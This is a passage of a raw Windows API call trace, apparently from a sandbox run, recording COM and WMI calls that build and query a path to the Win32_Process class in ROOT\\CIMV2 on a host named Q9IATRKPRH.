WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6f0e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc3fbc0) returned 0x0 [0136.108] WbemDefPath:IUnknown:Release (This=0x1bc6f0e0) returned 0x0 [0136.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc3fbc0) returned 0x0 [0136.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0136.109] WbemDefPath:IUnknown:AddRef (This=0x1bc3fbc0) returned 0x3 [0136.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0136.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0136.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bc6f160) returned 0x0 [0136.109] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6f160, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0136.109] WbemDefPath:IUnknown:Release (This=0x1bc6f160) returned 0x3 [0136.109] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0136.109] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0136.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0136.109] WbemDefPath:IUnknown:Release (This=0x1bc3fbc0) returned 0x2 [0136.109] WbemDefPath:IUnknown:Release (This=0x1bc3fbc0) returned 0x1 [0136.109] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0136.109] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0136.110] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc3fbc0) returned 0x0 [0136.110] WbemDefPath:IUnknown:AddRef (This=0x1bc3fbc0) returned 0x3 [0136.110] WbemDefPath:IUnknown:Release (This=0x1bc3fbc0) returned 0x2 [0136.110] WbemDefPath:IWbemPath:SetText (This=0x1bc3fbc0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0136.110] IWbemClassObject:Get (in: This=0x1bc75150, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0136.110] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.110] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.110] IWbemClassObject:Get (in: This=0x1bc75150, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0136.110] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0136.110] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0136.111] IWbemClassObject:Get (in: This=0x1bc75150, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0136.111] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0136.111] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0136.111] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0136.111] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0136.111] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0136.111] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.113] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc6f2c0) returned 0x0 [0136.113] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6f2c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0136.113] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6f2c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3fc80) returned 0x0 [0136.113] WbemDefPath:IUnknown:Release (This=0x1bc6f2c0) returned 0x0 [0136.113] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fc80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3fc80) returned 0x0 [0136.113] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fc80, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0136.114] WbemDefPath:IUnknown:AddRef (This=0x1bc3fc80) returned 0x3 [0136.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fc80, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0136.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fc80, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0136.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fc80, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc6f300) returned 0x0 [0136.114] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6f300, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0136.114] WbemDefPath:IUnknown:Release (This=0x1bc6f300) returned 0x3 [0136.114] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0136.114] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0136.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fc80, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0136.114] WbemDefPath:IUnknown:Release (This=0x1bc3fc80) returned 0x2 [0136.114] WbemDefPath:IUnknown:Release (This=0x1bc3fc80) returned 0x1 [0136.114] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0136.114] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0136.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fc80, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3fc80) returned 0x0 [0136.114] WbemDefPath:IUnknown:AddRef (This=0x1bc3fc80) returned 0x3 [0136.114] WbemDefPath:IUnknown:Release (This=0x1bc3fc80) returned 0x2 [0136.114] WbemDefPath:IWbemPath:SetText (This=0x1bc3fc80, uMode=0x4, pszPath="") returned 0x0 [0136.114] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0136.115] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0136.115] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0136.115] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.117] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc6f2c0) returned 0x0 [0136.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6f2c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0136.117] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6f2c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3fd40) returned 0x0 [0136.117] WbemDefPath:IUnknown:Release (This=0x1bc6f2c0) returned 0x0 [0136.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3fd40) returned 0x0 [0136.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0136.118] WbemDefPath:IUnknown:AddRef (This=0x1bc3fd40) returned 0x3 [0136.118] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0136.118] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0136.124] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc6f340) returned 0x0 [0136.124] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6f340, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0136.124] WbemDefPath:IUnknown:Release (This=0x1bc6f340) returned 0x3 [0136.124] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0136.124] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0136.124] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0136.124] WbemDefPath:IUnknown:Release (This=0x1bc3fd40) returned 0x2 [0136.124] WbemDefPath:IUnknown:Release (This=0x1bc3fd40) returned 0x1 [0136.124] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0136.124] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0136.124] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3fd40) returned 0x0 [0136.124] WbemDefPath:IUnknown:AddRef (This=0x1bc3fd40) returned 0x3 [0136.124] WbemDefPath:IUnknown:Release (This=0x1bc3fd40) returned 0x2 [0136.124] WbemDefPath:IWbemPath:SetText (This=0x1bc3fd40, uMode=0x4, pszPath="") returned 0x0 [0136.124] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fd40, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0136.124] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fc80, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0136.125] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc3fd40, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0136.125] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3fd40, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0136.125] WbemDefPath:IWbemPath:SetServer (This=0x1bc3fd40, Name="Q9IATRKPRH") returned 0x0 [0136.125] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0136.125] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0136.125] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0136.125] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.127] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc6f360) returned 0x0 [0136.127] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6f360, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0136.127] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6f360, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3fe00) returned 0x0 [0136.127] WbemDefPath:IUnknown:Release (This=0x1bc6f360) returned 0x0 [0136.127] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3fe00) returned 0x0 [0136.127] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0136.128] WbemDefPath:IUnknown:AddRef (This=0x1bc3fe00) returned 0x3 [0136.128] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0136.128] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0136.128] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc6f3a0) returned 0x0 [0136.128] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6f3a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0136.128] WbemDefPath:IUnknown:Release (This=0x1bc6f3a0) returned 0x3 [0136.128] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0136.128] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0136.128] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0136.128] WbemDefPath:IUnknown:Release (This=0x1bc3fe00) returned 0x2 [0136.128] WbemDefPath:IUnknown:Release (This=0x1bc3fe00) returned 0x1 [0136.128] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0136.128] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0136.128] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3fe00) returned 0x0 [0136.129] WbemDefPath:IUnknown:AddRef (This=0x1bc3fe00) returned 0x3 [0136.129] WbemDefPath:IUnknown:Release (This=0x1bc3fe00) returned 0x2 [0136.129] WbemDefPath:IWbemPath:SetText (This=0x1bc3fe00, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0136.129] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fd40, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0136.129] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fe00, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0136.129] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, 